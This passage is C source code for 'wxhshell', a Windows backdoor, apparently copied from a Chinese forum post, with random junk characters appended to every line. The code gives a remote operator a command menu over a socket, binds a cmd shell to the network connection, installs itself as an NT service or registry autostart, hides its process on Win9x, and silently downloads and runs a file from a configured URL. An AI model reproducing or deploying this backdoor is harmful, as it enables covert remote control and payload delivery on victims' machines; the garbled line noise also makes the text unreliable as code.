  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6^vMJ82U  
  } /AJ#ngXz  
  else { woctnT%"Q/  
6*] g)m  
    switch(cmd[0]) { -R^OYgF  
  u~| D;e  
  // 帮助 x<m{B@3T  
  case '?': { t:DZow  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p[Pa(a,B7  
    break; {bxTODt@  
  } }klET   
  // 安装 J YA  
  case 'i': { As$:V<Z  
    if(Install()) 0w0\TWz*   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *o}LI6_u  
    else [jPUAr}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *} pl  
    break; tOJK~%'  
    } I[r  
  // 卸载 '[E|3K5d  
  case 'r': { VJK?"mX  
    if(Uninstall()) :^c ' P<HM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #J 1vN]g  
    else wABaNB=9;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ .}  
    break; FT*OF 3  
    } ,]1oG=`3v  
  // 显示 wxhshell 所在路径 ^sLnKAN  
  case 'p': { :L~{Q>o  
    char svExeFile[MAX_PATH]; Q\pTyNAYn  
    strcpy(svExeFile,"\n\r"); =Kq/E De  
      strcat(svExeFile,ExeFile); k 8C[fRev  
        send(wsh,svExeFile,strlen(svExeFile),0); O5:?nD  
    break; RTPxAp+\5  
    } ::k>V\;  
  // 重启 ra="4T$va  
  case 'b': { WE_jT1^/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); DB1GW,  
    if(Boot(REBOOT)) 0q|.]:][Eo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fap@cW3?8  
    else { :xn/9y+s  
    closesocket(wsh); S7{L-"D =y  
    ExitThread(0); IO,ddVO  
    } v!\\aG/  
    break; 85>WK+=  
    } i%1ny`Q  
  // 关机 5Ocd2T'  
  case 'd': { ikr|P&e#u  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); koi QJdK  
    if(Boot(SHUTDOWN))  b)7uz>I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j"FX ?|4  
    else { 4 1w*<{Lk  
    closesocket(wsh); r:[N#*kK  
    ExitThread(0); 7+I%0U}m  
    } t<_Jx<{2  
    break; :lF[k`S T  
    } D}n&`^1X+  
  // 获取shell _cz&f%qr  
  case 's': { f.V1  
    CmdShell(wsh); I) mP ?  
    closesocket(wsh); N|Cx";,|FZ  
    ExitThread(0); <AZ21"oR/  
    break; G#V}9l8 Q  
  } XkB^.[B  
  // 退出 W/z\j/Rgc  
  case 'x': { *?;<buJb?  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); OYcf+p"<\  
    CloseIt(wsh); JfJUOaL  
    break; +-b:XeHSZ  
    } ~Wh} W((L  
  // 离开 qo1eHn4  
  case 'q': { 6XVr-ef  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _{.=zv|3  
    closesocket(wsh); 5hNjJqu  
    WSACleanup(); 1J}i :i&  
    exit(1); x?hdC)#DWI  
    break; bU`Ih# q  
        } Vb${Oy+  
  } +&LzLF.bK  
  } Va^AEuzF  
Sq9I]A  
  // 提示信息 \/rK0|2A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O>zPWVwa  
} I y?_2m  
  } y[U/5! `zV  
h, |49~^@"  
  return; X!+#1NPM  
} vmI2o'zi  
h @{U>U7  
// shell模块句柄 MA\^<x_?L}  
int CmdShell(SOCKET sock) 71AR)6<R  
{ *gu4%  
STARTUPINFO si; em^|E73  
ZeroMemory(&si,sizeof(si)); pdcP;.   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; H*#L~!]  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ri$wt.b  
PROCESS_INFORMATION ProcessInfo; Qo*,2B9R L  
char cmdline[]="cmd"; BMw_F)hTO  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]+1?T)<!  
  return 0; 6S-1Wc4  
} X#l]%IrW!  
T6s~f$G  
// 自身启动模式 Q'f!392|  
int StartFromService(void) 1WGcv O)<  
{ kcy?;b;z  
typedef struct &^ECQ  
{ ^;J@]&[ ~  
  DWORD ExitStatus; l0c ws`V  
  DWORD PebBaseAddress; 3"2 8=)o  
  DWORD AffinityMask; @@L@r6  
  DWORD BasePriority; (p1y/"Xh  
  ULONG UniqueProcessId; + y!B`'J  
  ULONG InheritedFromUniqueProcessId; ~#X,)L{y7v  
}   PROCESS_BASIC_INFORMATION; sOc<'):TK  
7U#`^Q}  
PROCNTQSIP NtQueryInformationProcess; (*63G4Nz\  
"Aw| 7XII  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \;0J6LBc  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; q 6Q;9,  
9N(<OY+Dgm  
  HANDLE             hProcess; Dq/ _#&S  
  PROCESS_BASIC_INFORMATION pbi; %B^nQbNDM  
<VP@#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); U#oe8(?#  
  if(NULL == hInst ) return 0; R} nY8zE  
qXPT1%+)y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); zz ^2/l  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "0pH@_8o{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B_FfXFQm<  
f =H,BQ  
  if (!NtQueryInformationProcess) return 0; z7+y{-{Z  
([loWr}QR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %|(~k*s4  
  if(!hProcess) return 0; $y !k)"k  
Ndj9B|s_  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7g(,$5  
;6N@raP7  
  CloseHandle(hProcess); 6d~[My  
\tc`Aj%K  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &FrW(>2  
if(hProcess==NULL) return 0; ;IhkGPpWP  
Fs q=u-= :  
HMODULE hMod; *G"vV>OSV  
char procName[255]; tAD{{GW9  
unsigned long cbNeeded; hJ8|KPgdw  
yteJHaq  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rvT7 5dV0  
MpbH!2J  
  CloseHandle(hProcess); 8fpaY{]  
Xrnxpp!#^D  
if(strstr(procName,"services")) return 1; // 以服务启动 iE}jilU  
S[fzy$">  
  return 0; // 注册表启动 {e,m<mAi  
} hw`+,_ g  
6x\+j  
// 主模块 x{u7#s1|/  
int StartWxhshell(LPSTR lpCmdLine) pm<zw-  
{ {r2-^Q HF  
  SOCKET wsl; YQ>P{I%J  
BOOL val=TRUE; csTX',c  
  int port=0; OZ?4"1$.t  
  struct sockaddr_in door; |;q*Zy(  
{Y{*(5YV  
  if(wscfg.ws_autoins) Install(); k[oU}~*U+  
A(y^1Nm  
port=atoi(lpCmdLine); <Sn5ME<*  
azMrY<  
if(port<=0) port=wscfg.ws_port; }G$rr.G  
zGFo -C  
  WSADATA data; 0dhJ# [Y  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZOl =zn  
9OB[ig  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2#Fc4RR;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ij>x3L\-  
  door.sin_family = AF_INET; {.9phW4Vr?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jRXpEiM  
  door.sin_port = htons(port); y4`<$gL   
>So)KB  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  eWO^n>Y  
closesocket(wsl); [T', ZLR|  
return 1; ocwRU0+j  
} R4,j  
^.Y"<oZSS  
  if(listen(wsl,2) == INVALID_SOCKET) { >LxYP7M  
closesocket(wsl); }S6Sz&)  
return 1; X#mm Z;P  
} Z(AI]wk3<  
  Wxhshell(wsl); 11}fPWK  
  WSACleanup(); 70! &  
Oqzz9+  
return 0; }9fH`C/m  
gH- e0134%  
} 0;'kv |  
}J t( H  
// 以NT服务方式启动 4cK6B)X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UJkg|eu  
{ Z~o*$tF/  
DWORD   status = 0; )AOD~T4s7  
  DWORD   specificError = 0xfffffff; !Y_"q^5GG'  
TDg#O!DUF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }~dXz?{p8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ' >[KVvm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Mn+;3qo{6  
  serviceStatus.dwWin32ExitCode     = 0; BDY@&vF  
  serviceStatus.dwServiceSpecificExitCode = 0; mg)lr&-b  
  serviceStatus.dwCheckPoint       = 0; 1E!0N`E  
  serviceStatus.dwWaitHint       = 0; ^GdU$%aa  
,YFuMek  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NUBzmnA>8  
  if (hServiceStatusHandle==0) return; 0`/PEK{  
Nd/iMV6V;  
status = GetLastError(); ?iG}Qj@5  
  if (status!=NO_ERROR) SV.\B  
{ ITh1|yP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; haW8zb0z  
    serviceStatus.dwCheckPoint       = 0; :qy`!QPUm  
    serviceStatus.dwWaitHint       = 0; pmXx2T#=  
    serviceStatus.dwWin32ExitCode     = status; wzB*M}3  
    serviceStatus.dwServiceSpecificExitCode = specificError; S4kGy}{+i  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RsU=fe,  
    return; $DW3H1iW  
  } fXMVl\ <  
QOIi/flK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /_E:sI9(  
  serviceStatus.dwCheckPoint       = 0; $enh>!mU  
  serviceStatus.dwWaitHint       = 0; u4B,|_MK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *!UY;InanX  
} >x)YdgJ*  
WMBntB   
// 处理NT服务事件,比如:启动、停止 <Fb3\T L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 70&v`"  
{ ^[XxE Lx  
switch(fdwControl) 5gW`;Cdbyc  
{ hb9X<N+p  
case SERVICE_CONTROL_STOP: u8 14ZN}  
  serviceStatus.dwWin32ExitCode = 0; 1(M0C[P  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )'\Jp 7*3  
  serviceStatus.dwCheckPoint   = 0; L7mN&Xr  
  serviceStatus.dwWaitHint     = 0;  Q^/5hA  
  { 8^=g$;g  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `(1em%}  
  } !cw<C*  
  return; 0Mt2Rg}  
case SERVICE_CONTROL_PAUSE: wo7.y["$  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~6@zXHAS  
  break; jD3,z*  
case SERVICE_CONTROL_CONTINUE: 'nI2RX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 0CI?[R\  
  break; VE^NSk Oa&  
case SERVICE_CONTROL_INTERROGATE: _:0<]<x?  
  break;  }5bh,'  
}; I#@iA!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #(h~l> r  
} )eGGA6G  
}GsZ)\!$4  
// 标准应用程序主函数 -h*Yd)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >b,o yM  
{ dN;kYWRK  
NUb^!E"  
// 获取操作系统版本 tx&>Eo  
OsIsNt=GetOsVer(); wNDLN`,^H  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9}`O*A=KC  
&KgR;.R^J  
  // 从命令行安装 `LH!"M  
  if(strpbrk(lpCmdLine,"iI")) Install(); -2|D( sO  
>yUThhJRn  
  // 下载执行文件 dra'1E  
if(wscfg.ws_downexe) { 57IrD*{  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \v]}  
  WinExec(wscfg.ws_filenam,SW_HIDE); wRb%-s  
} 7CUu:6%  
_)2.#L  
if(!OsIsNt) { zc]F  
// 如果时win9x,隐藏进程并且设置为注册表启动  O/gok+K  
HideProc(); ~j 3B'  
StartWxhshell(lpCmdLine); Yqmx]7Y4  
} #NNj#  
else $/],QD_;"  
  if(StartFromService()) !798%T  
  // 以服务方式启动 p+;Re2Uyg  
  StartServiceCtrlDispatcher(DispatchTable); L@S"c (  
else %cO;{og M  
  // 普通方式启动 m(nlu  
  StartWxhshell(lpCmdLine); x@2rfs  
 ?1r@r  
return 0; w(r$n|Ks9  
}
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只看该作者 1 发表于: 2006-10-10
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